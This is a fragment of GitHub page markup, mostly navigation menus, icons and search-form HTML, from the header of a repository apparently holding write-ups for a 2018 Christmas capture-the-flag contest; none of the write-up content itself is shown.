.75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="162837579" data-scoped-search-url="/serega6531/XmasCtf2018Writeups/search" data-owner-scoped-search-url="/users/serega6531/search" data-unscoped-search-url="/search" data-turbo="false" action="/serega6531/XmasCtf2018Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="k9XLxWrVPe01ycKEsA3sypTdRB+igrCh/MxW88o0/eyu5UX1zHftiQS9jabf/xjIWitJdYmbIYwoSdjMbPjuFw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> serega6531 </span> <span>/</span> XmasCtf2018Writeups <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" 